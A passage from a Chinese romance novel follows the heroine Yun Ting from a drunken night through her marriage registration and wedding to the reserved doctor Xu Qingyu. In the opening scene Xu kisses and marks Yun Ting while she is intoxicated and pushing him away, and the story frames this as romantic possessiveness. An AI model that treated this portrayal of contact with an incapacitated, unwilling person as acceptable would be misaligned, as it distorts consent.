祁修泽的呼吸加重:“云听……” 见她没有反应,他的手撑在她身旁,唇离她不过一寸之遥。 就在这时,一只手突然从侧面伸过来,一把搂住了云听的腰,将她牢牢护在怀中。 祁修泽的动作僵住了,他抬起头,对上一双冷冽的眼睛。 徐清聿半边脸隐在昏暗的光影里,眼神像刀锋般锐利。 他俯视怀中的云听,语气淡淡,却藏着不容置喙的占有意味:“祁先生,她是我的妻子。” 云听被一股熟悉的沐浴露味包围,往徐清聿怀里靠了靠。 迷迷糊糊中,她睁开半眯的眼睛,视线被醉意染得模糊,喃喃自语,“徐清聿…你怎么来了?” 徐清聿没有回答她,侧目对祁修泽说:“祁先生,希望你以后可以和我的妻子保持距离。” … 云听偏了偏头,长发垂下遮住了半张脸,露出的唇角弯着,不经意的妩媚间,醉意的脸楚楚动人。 身上的桃花香因酒精的刺激而更加浓烈,柔美的甜意化作无形的钩子,缠绕在周围的空气中。 徐清聿捏住云听的下巴,让她抬头:“云听,你要结婚了。” 云听听懂了,迷离的眼神转向他,长睫轻颤。 片刻后点了点头,声音轻软,缠绕着醉意的绵长:“嗯,我知道。” “那你知道你现在在干什么吗?” 云听撑着额头,声音散漫:“我在找灵感,我要调香…” 徐清聿眯了眯眼,唇线抿得笔直:“和人接吻找灵感吗?还是说和人做。爱?” 云听眼中的醉意更加浓重,疲惫地往沙发上一靠,失去与外界沟通的意愿,“你是谁?跟你有…关系吗?我不想…和你说话了…” 徐清聿盯着她,原本克制的怒火因为这一句话点燃。三秒后,他忽然低笑了一声,声音染着隐隐的冷意:“我是谁?徐清聿。” 云听睁开一只眼睛,看了他一眼,又闭眼。 果断摇头:“不可能……徐清聿…才不会来这种地方。” 徐清聿眼底的情绪翻涌如浪,终究只是俯下身,伸手替她拨开脸上的发丝,语气轻得让人分不清是真温柔还是假平静:“那你说,我是谁?” “你……你和他很像……”云听呢喃,“不过他才不会像你这样,和我说这么多话……他就是一座大冰山…” 徐清聿手指在她下巴细细摩挲:“你也不和他说话。” “他总是凶我……”云听喃喃道。 被酒意浸湿的眼里映着灯光,闪烁委屈和不满。 徐清聿挑了挑眉,语气软化:“因为你不乖,你总是做一些他不喜欢的事,他不喜欢你和别人接触,你知道吗?” 云听甩开他的手,轻哼一声,抗议:“我没有不乖,我很听话,而且我不是他的私有物…就算我……” 就算我喜欢他…… 徐清聿欺身逼近,唇若有若无地擦过她的耳廓,“云听,你来这里,他会生气。他今天很累,你乖一点。” 云听缩了缩肩膀,“虽然我不是很想和你说话……但是徐清聿他不会生气的,他不喜欢我…他才不会管我…” 徐清聿气笑了,温热的鼻息再度拂过她小巧的耳垂:“云听,我可以帮你。” 云听咬唇:“帮、帮什么?” “帮你,证明徐清聿会不会生气。” “怎么…证明?” “云听,如果帮你,你会怎么感谢我?” “我不知道…你想要什么…” 徐清聿不语,他低下头,唇贴上云听的脖颈,轻咬吮。吸,留下一个浅浅的印记。 云听无意识地嘤咛了一声,醉酒的迷朦使她越发无防备,侧了侧头,无意间将脖子更完全地展露在他面前。 徐清聿摘下眼镜。 吻缓缓向下移,薄唇吻过她白皙的肌肤,留下一抹又一抹暧昧的痕迹。 红印在她纤细的脖颈间绽开,如同一朵朵盛开的桃花,美丽又危险。 云听呼吸急促,手抓紧了徐清聿的衣服。脖颈间传来的触感让她全身酥麻,神经被拉扯到极致。 “你,别…”她双手递在徐清聿的胸前,无力地推开他。 可徐清聿并未停下。 席卷而来的风暴,慢慢将云听吞没。 良久,徐清聿才离开云听发烫的脖子。 他一只手扶着她的腰,另一只手在她颈间留恋,然后捏住她的脸,迫使她转头,“云听,你醉成这样,明天可能会忘记……不过没关系,这些吻痕不会消失。” 沙发旁有一面硕大的落地镜,干净得没有一点儿灰尘。 镜子里,有两人。 一个人身形后仰,脸颊泛红,眼神迷离,长得很像她。另一个…修长的手撑在落在她的锁骨,眉眼漂亮,有点像徐…清聿… 云听别过头,胸膛起伏,“你到底…是谁?” 徐清聿耐心回:“徐清聿。” 云听倔强地摇头:“不对,你不是……徐清聿不会亲我…” “Zephyr。” “Zephyr?” “嗯。” “Zephyr…西风?好听…”云听懵了懵,说话断断续续,“你是我…见过和徐清聿最像的人…但是你比他温柔一点…比他好看一点…” 她的声音越来越轻,到最后只剩嘴唇开合,“可即使这样…我也只喜欢他…” 剩下的话,被徐清聿堵了回去。 徐清聿抬手捧住她的脸,指腹轻轻按在她的脸颊,吻上了她的唇。 唇贴着唇,浅尝辄止。 没有想象中的不适。 也没有排斥。 仿佛本该如此。 醉意中的云听偏了偏头,无意识地迎合。 徐清聿加深了这个吻,他的手从她的脸滑到她的后颈,稍 稍用力,将她拉得更近,轻轻吮着她的唇。 “云听,张嘴。” 云听呼吸不稳,却依然固执地闭着嘴,拒绝他的进一步侵占。 徐清聿放开她的唇,转而开始吻她的耳垂,她的脖子,她的锁骨,拿捏着分寸往下移,云听反抗不得。 空气变得黏腻炙热,细碎暧昧的声音填满整个房间。 徐清聿又一次吻上云听的唇,这一次,云听没有防备。 唇齿相碰间,云听尝到了一股清凉的薄荷味,从对方的口腔中蔓延过来,撞上她唇间残存的酒香。 不止薄荷,不止酒香,还有漫天盛开的桃花。 第16章 第十六章 “可以接吻的朋友吗” 一阵急促的门铃声突兀地响起。 云听从睡梦中惊醒, 身体因骤然的大动作缩了一下,寒意沿着脊背爬升。 头好沉。 她睁开眼,揉了揉钝痛的太阳穴。 这是哪里? 云听撑起身体, 打量四周。天花板的装饰、窗帘的花纹、床头柜上的台灯,无一不是酒店的标配。 且是极尽奢华、价格不菲的酒店。 可是,她为什么会在酒店? 是祁修泽送她过来的吗? 云听依稀能记起昨晚酒吧炫目的灯光、喧闹的人群和她喝下一杯接一杯的酒。再往后,就是一片空白…… 门铃声再次响起。 “请等一下。”云听哑着嗓子回应。 她掀开被子起身, 低头看了看身上的衣服。 是她昨晚穿的裙子,完好无损,下摆因睡觉不安分而起了些褶皱。 还好,没有遭遇异常的情况。 登时放下警戒心,轻呼一口气。 云听站起身, 整理袖口,大衣孤零零地压在沙发上,她抓起来抖了抖,重新穿好。 打开门,门外站着酒店的工作人员。 一个年轻的女孩, 比她矮小半个头,身穿整洁的制服,胸前别有一个小巧的名牌: 瑾澜公馆,前台, 章颜。 瑾澜公馆。 南海最昂贵的酒店,闻名遐迩, 没有之一。 来这儿的客人非富即贵,不是企业家,就是娱乐圈炙手可热的明星。 大堂里时常能看到保镖开路的身影,停在门口的豪车和专属司机更是常见景象。 章颜抬起头, 惊讶之色一闪而过,眨眼的工夫,眼中的失态荡然无存。 随即,她恢复职业化的微笑,恭恭敬敬道:“小姐,有一位先生特意嘱咐我今早八点叫您起床。” “你……”云听扶着门框问,“为什么我会在这里?” 章颜回忆,一十一五道:“小姐,昨天晚上大概十二点,有一位先生送您过来的。他说您喝醉了,给您开了房间,让我们照顾好您。” “先生?”云听眉头轻拢,“长什么样的先生?” 章颜想了想:“是一位很英俊的先生,穿着……嗯,很得体。凌晨两点,他便离开了。” 云听第一反应想到的是祁修泽。 但直觉告诉她不是。 她问:“他叫什么名字?” 章颜摇了摇头,神色歉然:“抱歉,小姐,他没有留下名字,也没有提及任何联系方式。” 空气被寒意冻结。 “那……”云听顿了顿,不安加剧,“他有没有说什么?” 章颜的表情变得奇怪,迟疑了一瞬,才回答:“他说……让您醒来后不要着急,稍作休息。” 瑾澜公馆的服务生无一不是精挑细选,每一位都经过严格培训,除了外貌和礼仪,其中最重要的一条要求就是不可直视客人。 无论是商界名流还是娱乐明星,酒店要求员工时刻保持分寸感,避免大肆宣扬任何人的隐私。 章颜恪守规定,只在接待的瞬间匆匆瞥过那位先生。 他的身影高大挺拔,黑色大衣剪裁得体,举手投足间散发一种让人不自觉想退开的威严感。 即使只是一瞬间的记忆,章颜仍能清晰回想起。 作为瑾澜公馆的前台,她已经工作了五年,见过形形色色的客人。 无论是穿着昂贵西装的商务人士,还是身着随意艺术装扮的艺术家,她都有自己的判断方式。 商务人士的西装总是熨烫得没有一丝褶皱,腕上的名贵手表彰显身份;艺术家们大多随性而舒适,鞋子上时常沾染着颜料;娱乐圈的明星则几乎是墨镜和口罩的标配,低调而不失魅力。 那位先生不像商务人士,他没有商务人士匆忙的节奏感。 模特?倒是有可能。 他的身材比例和气质的确绝佳,足以成为摄影机下的宠儿。 总之不可能是老师,不可能是医生。 他的压迫感太强,学生见了他恐怕会直接哭出来,病人更别提,紧张得估计血压都飙升。 那位先生离开前,向她交代了几句。 章颜看到他的右手从大衣口袋里抽出,递上一张VIP卡。 是一双很漂亮的手。 指骨分明修长,上面有一个明显的牙印,伤口周围泛红,有血迹渗出。 很难不让人浮想联翩。 章颜道:“小姐,先生交代的事情已经完成,如果您有任何需要,请随时告诉我。” … “好的,谢谢。” 云听没有继续追问下去,她的身体没有不适,衣服也完整,想来想去,只可能是祁修泽。 简短道谢后,她关上房门,转身快步走向卫生间。 今天她要和徐清聿去领证。 婚礼来得匆忙,徐清聿忙得抽不出时间,领证只能在结婚前两天。 时间迫在眉睫,让她没有时间再细想。 云听用力闭了闭眼,懊恼地叹了一口气。 喝酒误事,她差一点错过时间。幸好,祁修泽找人提醒她;幸好,她和徐清聿说她会自己去民政局。 云听推开门,走到镜子前,准备洗把脸让自己清醒一些。 当她的目光落在镜子时,不由得瞠目结舌,脸上的表情冻结在了这一霎那。 镜子里的她,脖子上布满深红色的吻痕,颜色鲜艳,分布密集,从耳后开始,逐渐蔓延至锁骨,深浅不一,令人心悸。 嘴巴也肿得厉害,红肿的边缘明显,昭示着昨晚的荒唐和冲动。 她被人亲了? 不,不是亲,是强吻。 她被人强吻了? 云听心跳加速,脑海里全是自己脖子可怕的模样。 心中无法摆脱的慌乱,汹涌而至。 她匆忙去找手机,拨通祁修泽的电话。 电话那头响了很久才接通,祁修泽声音沙哑,像是还没从醉酒中清醒。 他一个劲地说着抱歉的话。 “小云,昨晚……我喝多了……”他语速很慢,咬文嚼字很清晰,“对不起……真的对不起……祝你和徐清聿…幸福…” 云听攥紧手机,额头沁出细汗,“修泽,昨晚到底发生了什么?” 祁修泽口齿不清回答:“小云,抱歉…我只是情不自禁…我们还是朋友吗?” 云听抬手捂住脸,掌心冰凉,“修泽,我们…还发生什么别…的吗?” “没…有。”说完,祁修泽挂断电话。 云听浸湿毛巾,狠狠擦了几下吻痕,吻痕没有消失,连带周围一圈皮肤也红了。 “怎么办…” 和徐清聿约定的时间越发接近,云听头疼不已。 心底不断滋生出一种无法摆脱的负罪感和焦虑感。 同时,理智告诉她,徐清聿不会在意。 既然他不在意这些,她为什么要在意? 云听尽可能忽视内心的背德感:“反正徐清聿不在乎,就算知道了,他大概也不会说什么。” 她迅速收拾好情绪,打车赶回家。 一进门,就冲向 卧室,洗漱完从衣柜里挑出一件白色高领毛衣,将脖子上的痕迹藏得严严实实。 接着换上一条过膝的裙子,又匆忙上了一个淡妆,抹了点口红,走出家门。 * 民政局外。 热闹得像冬日集市。 大门两侧的花坛已经被踩出了一些痕迹,盛开的冬青依旧生机勃勃。 旁边的小吃摊生意兴隆,热腾腾的关东煮和烤地瓜的香气飘散开来,整个入口充满了烟火气息。 早晨的寒风虽冷,也挡不住一对对情侣满怀喜悦的脚步。 几对新人站在台阶上合影,旁边的朋友举起手机,不断调整角度,为他们拍照,笑声此起彼伏。 还有些家庭成员跟在新人后面,拎着大包小包的喜糖和礼物袋,一边叮嘱新人多穿点衣服,一边掏出手机记录下这美好的一刻。 相比于脸上洋溢幸福的新人,徐清聿和云听站在人群中像一对陌生人。 没有牵手,没有交流,气氛沉静得像冬日里的一潭冷水,与周围的热闹格格不入。 人群的喧嚣与他们无关,他们站在台阶一侧,保持不远不近的距离,如两个临时拼凑在一起的陌生人,勉强组成一对夫妻。 云听低头整理高领毛衣的衣摆,掩饰内心的心虚。 徐清聿低头看了眼腕表,平淡地说:“时间快到了,进去吧。” 云听是有点失望的。 说不上来很多,有一点儿。 徐清聿对结婚这件事,和他处理一桩例行公事没什么区别,也许还没有他一场手术来得重要。 事实上,这场婚姻本来也确实如此。 没有喜欢,没有爱。 云听不知道徐清聿为什么要和她结婚。但无论徐清聿因为什么答应这场婚姻,但有一点她很清楚——徐清聿绝不是因为喜欢她才愿意结婚的。 想到这里,云听的心口又疼了。 轮到两人拍照。 “两位,再笑得灿烂一些,放松一点,像刚刚谈恋爱的样子,想象一下你们最开心的那一刻。”摄影师微笑着说道,镜头对准了两人的脸庞。 云听很不自然,僵硬地扯出一个弧度。 “女士,你是不是太紧张了?放松一点。” “好。” “对,就像刚才那样。”摄影师终于看到了他们的变化,按下快门,“再来一张。” 摄影师一边拍摄,一边心满意足地说:“很好,这一张非常好。你们看起来很搭,笑得很自然,太好了!” 云听:“……” 拍完照,拿到红本出来,云听被一位大婶强塞了一把喜糖。 “来来来,新婚快乐,吃个喜糖,甜甜蜜蜜!”大婶笑眯眯地说。 云听道谢:“谢谢。” “哎呀,你老公可真帅!”大婶的目光落在徐清聿身上,话里话外满是感叹,“这么俊的模样,还是个有气质的,和你好般配的咧。” 云听闻言一愣,忍不住侧眼望向身旁的徐清聿。 徐清聿点了点头,勉强算是对大婶的回应。 大婶见状,又笑着补了一句:“以后日子一定红红火火,祝你们两娃早生贵子哈!” 话音未落,大婶已经转身去了别处。 云听低头看着手里的糖果,指尖轻轻捻了捻包装纸,没说话。 几秒后,她抬起头,扯了扯嘴角,若无其事地将糖果收进口袋,没什么情绪地说了句:“走吧。” 徐清聿停下脚步,问道:“早餐吃了吗?” 云听晃了下神,稍做犹豫后,“吃了。” 她没有吃,昨晚饮酒过量,今早没什么食欲。 徐清聿点了点头,又淡淡开口:“我没吃。” 云听抿了抿嘴唇,略微迟疑,抬眼:“那你要回医院吃吗?” 徐清聿不急不躁地说道:“陪我一起吃。” “好。” 徐清聿的车停在不远处的停车场,距离200米左右,两人转过身,身后忽然爆发一阵热烈的声音。 云听转头,一对情侣站在树荫下,热烈地亲吻彼此。 她的心情沉了沉,心中生出浅浅的羡慕。 良久,才收回视线,强迫自己不要再看下去。 她的初吻昨晚给了别人… 徐清聿察觉她的失落,停下脚步,“怎么?” 云听埋头,闷闷不乐地向前走了小一步,情绪不可控低落下来:“没事。” 徐清聿一直觉得,云听是一个能把情绪写在头发上的人。 这种想法听起来荒谬,但他无法否认自己的感觉。 她不开心时,头发会失去光泽,无精打采地贴在脸侧。 她高兴时,她的头发会反射阳光,像洒满了星星的夜空。 明显,云听不高兴了。 徐清聿有意拉近两人的距离:“云听。” “怎么、怎么了?” 他俯下身,唇贴近她的唇。 一触即分。 一股温暖而微妙的触感从云听的唇上传来,柔软而清新,又有一些不曾预料的暧昧。 她愣了一秒,完全没想到徐清聿会吻她,眼睛睁大,愣愣地看着她。 徐清聿伸出手,朝云听伸去。 云听的视线跟着落在徐清聿的右手,细长的眉毛拧起,大脑高速旋转,片刻后,才小心翼翼地将自己的包挂在他的手上。 “谢谢。” 徐清聿静静地看着她,挑了挑眉,“走吧。” * 两人来到一处安静的粤式早餐店。 蒸笼里袅袅升起的白色雾气,带着刚出炉的虾饺和流沙包的香味,又混杂着清淡的茶香。 两人坐在靠窗的位置,点了一份简单的广式早茶。 云听低头搅动面前的茶杯,目光不经意间扫到了徐清聿的右手。 他的虎口处有一圈红色的牙印,痕迹深刻,甚至已经肿起来了。 她下意识问道:“你的手怎么了?” 徐清聿低头看了一眼自己的手,似乎刚刚注意到似的,修长的手指缓缓划过那处牙印,神情淡然。 三秒后,他薄唇轻启,随意而低沉回:“被一个不听话的小孩咬了。” 云听闻言,脑袋木了一下。 徐清聿大概很喜欢小孩吧? 平时,徐清聿一向寡言,说话时向来不喜欢在名词前加任何形容词,简练得几乎刻板。 但这次,他用了“不听话”来形容小孩,没有生气,反而有点宠溺的味道。 云听端起茶杯掩饰自己的不自在。过了一会儿,开口:“咬人,不是一个好的习惯。” 徐清聿放下手,指尖敲了敲桌面:“是吗?” “嗯。”云听对上他的目光,心里莫名一紧,迅速移开视线,拿起筷子夹起面前的虾饺,假装若无其事地低头吃了起来。 徐清聿慢条斯理地喝了口茶:“昨晚,你去哪了?” 筷子刚夹到嘴边的虾饺差点掉下来,云听的动作猛地停住,心跳瞬间乱了节拍。 她故作镇定地笑了笑:“我?我在家啊。” 徐清聿手指摩挲着茶杯边缘:“在家?” 云听点点头,“嗯。” 徐清聿将茶杯放在桌上,发出清脆的声响,随后开口:“昨晚我去了你家。” 这一句话挺硬生生将空气冻结,云听惶恐地挠了挠头发:“哦,那……那我记错了,昨晚我去找我一个…朋友了。” 这句话落下的刹那,冻结的空气四分五裂。 明明徐清聿的神情没有任何变化,云听却有一种风雨欲来的错觉,再一次让她脊背发凉。 徐清聿嗓音森冷,问:“可以接吻的朋友吗?” 云听没想到他会问出这样一句话:“什……什么?” 徐清聿步步紧逼:“你的嘴巴很肿,显然不是简单的亲吻就可以造成。 他的话如刀锋般锋利,精准地刺中了云听最想掩盖的真相。 “他吻了你多久?” “二十分钟?还是…半小时?” 云听根本无法反驳。 她虽 然没有接过吻,但是她的嘴唇到现在还是痛的。 也许,徐清聿说得保守了… 也许,不止半小时… 昨晚是她迄今为止最后悔的、也最不愿意回想的事。差一点点,她就和她不喜欢的人发生关系了… “你不打算说实话?”徐清聿倾身靠近,声音更低了一分,眼神深沉如寒潭,“还是你觉得,我不需要知道?” 他的语气并不高,也没有明显的质问,但那种在平静下流动的压迫感,反而让云听更加无所适从。 云听抬眸迎上他的眼神:“我……我昨晚喝醉了。真的喝多了,所以…什么都不记得了。” 徐清聿却莫名其妙说了一句:“小孩子不听话,教育一次就好了。” 云听试探性地问:“徐清聿…你是不是……不开心?” 她无法控制地想,难道他这是在生气? 是在……吃醋? 过于心虚的她,没看出徐清聿的唇也是肿的。 徐清聿道:“你想多了。” “既然要结婚,就要断掉外面那些不三不四的人。这是最基本的原则。” 云听虽然喜欢徐清聿,但也不会时时刻刻会被他牵着鼻子走,她反驳:“我没有什么不三不四的朋友。” 徐清聿只是看着她。 四分五裂的空气化作利刃,云听胸口起伏了一下,脸色发红。 她不想妥协,更不想自己的朋友被无缘无故被指责。 深吸了一口气,声音清晰坚定:“我的朋友,都不是不三不四的人。” 徐清聿靠回椅背,手指搭在桌边,指节弯曲,“所以你觉得……他吻你,是意外?” “我……”云听咬了咬唇,觉得自己已经被逼到了死角,无路可退,胸口压抑得喘不过气。 “我不知道。”云听冷静下来,“是我的问题。” 徐清聿呼吸加重。 他不知道,自己的情绪为什么如此容易失控,甚至连他自己都无法理解,哪怕是他亲自留下的痕迹,也能让他心底的占有欲翻涌得如此猛烈。 过了很久,他开口,声音低哑,却多了一点疲惫:“抱歉,云听。” 云听身体一颤,她没有想到,徐清聿会向她道歉。 刚才他那么咄咄逼人,要将她逼入绝境,但现在,他竟然平静下来,主动低头。 “是我的问题。”徐清聿说,“吃完,我送你回去。” 第17章 第十七章 进口药品 周日。 “云云, 别紧张。”辛亦桐手里捧着一束白玫瑰和小雏菊编织而成的捧花,“今天可是你人生中最重要的日子,不是让你来吓自己的。” 她盯着云听紧张的模样, 出声安慰:“再紧张也无所谓,你只需要记住一点,今天你是最美的,也是最幸福的。” 话虽如此, 云听的心跳声仍一阵强过一阵。 辛亦桐俯下身,视线与云听齐平:“云云,再过一会儿就要上场了,深呼吸,放松点。” 云听嘴角扬不起半点真实的喜悦:“桐桐, 你说这场婚礼,像不像一场表演?” 她原本已经选好素雅的婚纱,可是,在确认发送给礼服师前,她突然停住手指, 不知为何选了另一套艳丽的婚纱。 或许,正如孟妍说的,风格可以尝试,但婚姻只有一次。 婚礼是人生中最隆重的仪式, 应该庄严、体面,值得一生铭记。 云听喜欢低调, 但只要一想到她嫁的人是徐清聿,就有一种想让全世界的人都知道的荒唐念头。 但这也仅仅是她的想法。 就在这时,有人叩响门扉,随即云闻的身影出现在门口。 她的笑容温暖如阳光, 可眼睛里闪烁着泪光,“听宝,你真是越来越美了。” 她走近,抚摸云听的肩膀,柔声道:“虽然我们长得一样,但是从小到大,我都觉得你比我漂亮。今天的你,更是美得不可思议。” “姐,我…” “嘘,别说话。”云闻食指虚虚地贴在云听的红唇,终究没忍住,她的话语染上哭腔,“听宝,我舍不得你…” 说着说着,声音哽咽了:“以前都是你陪着我,现在你要离开了,我真的是……” 家长已经给两人准备好婚房,离他们的工作地点都很近,这意味着结婚后,云听就会和徐清聿搬出去,过二人世界。 徐清聿对此不反对,云听自然也没有异议。 但云闻不乐意,她是真舍不得云听。 她不止一次恶毒地想,三个人挤一起也不算什么大事。 至少徐清聿恢复男儿身之前,三人是姐妹… 只不过,63岁的男科神医交代过,像徐清聿这种情况,让他多与异性接触和相处,会对他的情况有所帮助,从而逐渐建立自信,减少心理压力,进而改善性。功能障碍的问题。 末了他特意强调了一句:“这需要循序渐进,家人也可以多给予理解和支持。” 路漫漫其修远兮。 云闻心里惋惜,聿哥真是白白浪费他的尺寸。 辛亦桐递给她一张纸巾,哭笑不得:“闻闻,婚礼上掉眼泪可不是好兆头。” 听罢,云闻及时收住眼泪,破涕为笑,“对对对,不能哭!听宝,姐为你准备了礼物,晚上记得拆,第一个拆。” 辛亦桐也不怀好意地眨了眨眼,跟着道:“云云,我也有,晚上先拆我的,绝对用得上!” 云闻挑眉,挑衅回击:“别急着拆她的,先看看我的!我拜托了好多关系,才搞到的。” 辛亦桐不甘示弱:“你的礼物再特别,也没我的贴心,今晚必须用我的。” 两人你一句我一句,剑拔弩张地争论起来,火药味渐浓。 云听夹在两人中间:“……” 她忍俊不禁,眼眶却红:“好了好了,谢谢你们。” 云闻习惯性地伸出手想捏她的脸,从小到大,她的恶趣味之一就是如此。 小时候,云听的抗议,十有八九是无效的。 导致长大后,这个“捏脸”的习惯被云闻保留得完好无损。 但今天,她不能为所欲为了。 云闻伸到半空的手在看到云听脸上的妆容时,失望地收了回去,改成一遍又一遍不厌其烦地叮嘱:“听宝,嫁过去了要好好照顾自己。” “听宝,要是聿哥欺负你了,你一定要告诉我啊。” “听宝,虽然我也不想说很扫兴的话,但是要是…那什么你接受不了,咱们就和聿哥离婚…” “听宝,如果下次结婚,咱们一定要选择春天,你看现在结婚都不能去室外,太冷了,去室外又不能穿漂亮的婚纱…” 云听失笑,“姐,你这是在诅咒我离婚吗?” “才不是!”云闻拍了拍自己口不择言的嘴,“我肯定是希望你和聿哥能幸福的呀!” …… 婚礼来的宾客仅限于两家亲近的家人,但丝毫不影响这场婚礼的华丽与温馨。 室内的布置低调不失精致,米白与金色为主调,桌面上铺着雪纺质地的桌布,点缀着珍珠与水晶杯盏。 宾客们早已到场,富丽堂皇的宴会厅座无虚席。 男性宾客大多穿着得体的定制西装,手腕上闪耀瑞士名表;女性宾客则盛装打扮,华丽的礼裙在灯光下熠熠生辉,脖间和耳畔的钻石珠宝闪烁夺目。 与寻常豪门婚礼的浮华喧嚣不同,这场婚礼多了一份沉静与内涵。 宾客三三两两地交谈着,尽管穿着商务化,但言谈间没有那些关于商业合作和利益往来的寒暄。取而代之的,是讨论学术研究的真知灼见。 来的大多数宾客都是医学博士、大学教授、科研人员或某领域的权威专家。 他们的身上没有商界人士常有的刻意的客套与锋芒,更多的是一种因长期浸润在知识中而散发出的谦逊和内敛。 这场婚礼的氛围,注定与众不同。 宾客们 的祝福不是围绕财富与地位,而是围绕情感的真挚与人生的成长。 此时,乐队奏响了温柔的旋律,悠扬的琴声在空气中弥漫,为婚礼做好了最完美的铺垫。 一阵低沉的鼓声响起,铺满白玫瑰花瓣的红毯尽头,云听挽着云渡的手,缓缓步入。 她身上的婚纱轻盈如云,裙摆在地面上拖曳出一条纯白色的光痕,步步生辉。 云听另一只手捧着一束白玫瑰与小雏菊,裙摆曳地,低头时,目光轻柔含蓄,宛如一幅静谧的画作。 云渡穿着深灰色的西装,虽已两鬓微白,但身姿挺拔,仪态依然端正。 作为一个学者,他总是用理性面对人生的大事,可这一刻,他的内心翻涌着复杂的情感。 他这些年,一直忙于研究,忽略了两个女儿。 孟妍这段时间,经常深夜偷偷落泪,哪怕女儿的结婚对象是他们最信赖的人,但毕竟是怀胎十月生下的亲骨肉,终究是不舍的。 他同样也不舍,不舍的背后,还有数不尽的愧疚。 “小听,还记得小时候,你第一次拉着我的手学走路吗?”云渡声音极轻,几乎被悠扬的音乐掩盖。 云听没有回头,眼角湿润,轻声回应:“还记得,那时候您总说,会一直牵着我的手,直到我学会自己走路。” 她的手冰凉,被云渡温暖厚实的掌心包裹着,渐渐暖了起来。 熟悉的温度,将她拉回童年时光:牵着爸爸的手,从街巷间穿梭,踏过无数落叶铺满的小路。 “小听,对不起,我和你妈因为工作,忽视了你和小闻。” “没关系的,爸爸。” 云渡极力忍住泪意:“小听,记得,你永远是爸爸的小公主。” “嗯,谢谢爸。” 徐清聿站在仪式台上。 肩膀宽阔而平直,衣袖下露出的手,筋骨清晰,每一次轻微动作都牵动着隆起的青筋。 云听走近时,徐清聿静静地看着她。 因为他的瞳孔很黑,所以看人时,所以会给人一种很专注、柔情的错觉。 但他的五官组合在一起,那股柔情便不复存在。 云听抬眸,望进他的眼中,目光如秋夜星辰般闪烁。 徐清聿乌黑的短发梳得干净利落,但额前垂下了一缕凌乱的碎发,像是有意打破了整体的冷峻感,又带出无法忽视的致命吸引力。 云听看不懂他眼中的情绪,但能感受到浅淡的温柔。 云渡在距离台阶一米处停下脚步。 他低头看了一眼云听,片刻后缓缓抬手,将云听的手郑重地交到徐清聿的掌心里。 “清聿,照顾好小听。” 云渡未曾说出口的千言万语,最终只是拍了拍徐清聿的肩膀,而后转身离去。 徐清聿答应下:“嗯,会的。” 誓言交换时,云听无意瞥到祁修泽,他站在徐淮风身边。 昨晚的场景重现,脑袋里嗡的一声。 脖子上的吻痕开始发疼… 徐清聿顺着她的视线过去,下颚线紧绷,脸上愠色渐浓。 当司仪宣布两人可以亲吻彼此时,云听紧张得无法呼吸。她的手攥紧裙摆,紧张地看向徐清聿。 徐清聿已经倾身靠近。 他的动作很缓慢,一只手抬起,搭在她的腰侧,另一只手则自然垂下,指尖一顿,然后捏住了她的手腕。 唇与唇相贴时,云听的心跳失序,全世界就此静止。 徐清聿先闭的眼睛。 云听目视近在咫尺的他,长长的睫毛颤动,遮住了那深不可测的眸光,却放大了他眼角那颗黑色的泪痣。 顿时,心跳如鼓,呼吸间似有暖意蔓延。 她情不自禁地闭上眼睛,任由自己融化在徐清聿的吻中。 这个吻没有持续太久。 徐清聿很快离开,但转身面向来宾时,云听分明感觉到他的手掌紧握着她的手,力道加重了一些。 掌声响起,云听耳边轰鸣一片。 她的眼里氤氲出水汽,也闻到了清透的冷白梅香,丝丝缕缕地钻入她的鼻息。 好在她婚礼前吃了抗过敏药,现在才敢肆无忌惮地感受徐清聿的气息。 * 后台休息室。 云听脱下礼服和高跟鞋,换上一件轻便的短款婚纱靠在沙发上休息。 她的手指掠过自己的嘴唇,那里好像还残留徐清聿的温度。 徐清聿亲吻她的模样,漂亮得让人移不开眼。 即使是在宾客注视下,他仍旧显得不真实,像一幅画或者某种幻觉。 云听弯了弯嘴角。 至少说明徐清聿真的不排斥和她接吻。 门口有脚步声。 云听回过神,侧目望去,是祁修泽。 他站在门口,目光复杂而炽热。沉默了一瞬,他小声说道:“小云,希望你不要介意我的不请自来。” 云听收回目光,轻轻摇了摇头,声音平静:“不介意,很欢迎。” 她的回答没有让空气变得轻松,反而令两人之间的气氛更加微妙。 祁修泽踌躇地向前走了几步;“对不起……”他开口,“那天的事情……” “不用说了。”云听打断他的话 她低垂着眼睛,双手交叠在膝盖上,目光停在远处的地毯,“没关系,忘了就好了。我们只是喝醉了而已。” “如果可以……”云听顿了顿,“修泽,我认为,我们需要保持距离。” 祁修泽的心猛地坠入深海。 他低下头,双手垂在两侧握成拳,又松开,“你是不是知道了……我喜欢你?” “有点猜到了。” 云听隐约猜到祁修泽的感情,可她无法回应。不是因为他不好,而是因为她已经没有多余的力气去承载另一个人的爱。 她理解爱而不得的苦涩,但也深知,越早了断,对他对她都好。 “我明白喜欢一个人很辛苦,”云听说,“所以,我没有办法说狠话。可是……” “我们,以后还是…不要见面了。” 祁修泽眼中浮现痛楚与不甘,“小云……徐清聿真的喜欢你吗?” “今天你们结婚,可是他呢?他笑了吗?从头到尾,他全程面无表情!就连我一个外人都能看出,他对你没有感情…” 云听目光陡然一变,有些烦闷:“跟你没有关系。” 祁修泽没有停下,他走上前一步:“小云,我是真的希望你幸福!可是你呢?你确定他真的在乎你吗?他真的懂得珍惜你吗?如果他不爱你……小云,你为什么要和他在一起…徐清聿不会喜欢任何一个人…” 室内气压更低。 云听一声不吭,好半天,她说:“修泽,我们的事情,和你无关。” 祁修泽离开了。 房间里刚刚恢复的宁静又被一阵突如其来的脚步声打破。 云听以为是祁修泽又折返了回来,叹了口气,站起身,未等看清,便率先开口:“我们真的没可能,你不要再……” 话未说完,她猛然止住声音。 门口站着的并不是祁修泽,而是徐清聿。 徐清聿冷嗤:“看来,祁先生很关心我的妻子。” 云听一时语塞。她张开嘴,话在喉咙里打了个转,磕磕巴巴地解释:“不是你想的那样,你……你误会了。” 徐清聿没有回应。 他的沉默更让云听心里发毛,她咬了咬唇,大脑警报拉满,赶紧转移话题:“徐清聿…你怎么过来了?宾客都走了吗?” 徐清聿掀唇:“嗯。” 云听确实也累了,徐清聿的语气和神情让她的疲倦又添了一分不安。 她犹豫了一下,问:“那……我们要回去了吗?” 一路上两人都没有讲话。 回到婚房,云听刚脱下外套,徐清聿便将西装外套随意搭在一旁,径直走进卫生间。 浴室的门关上后,里面传来水流的声音,彻底隔绝了两人之间的交流。 云听站在房间中央,不知道该干什么。 怔了一会儿后,走到堆满礼物的桌子前,开始拆亲友送来的结婚礼物。 云闻特地让人将礼物送到婚房。 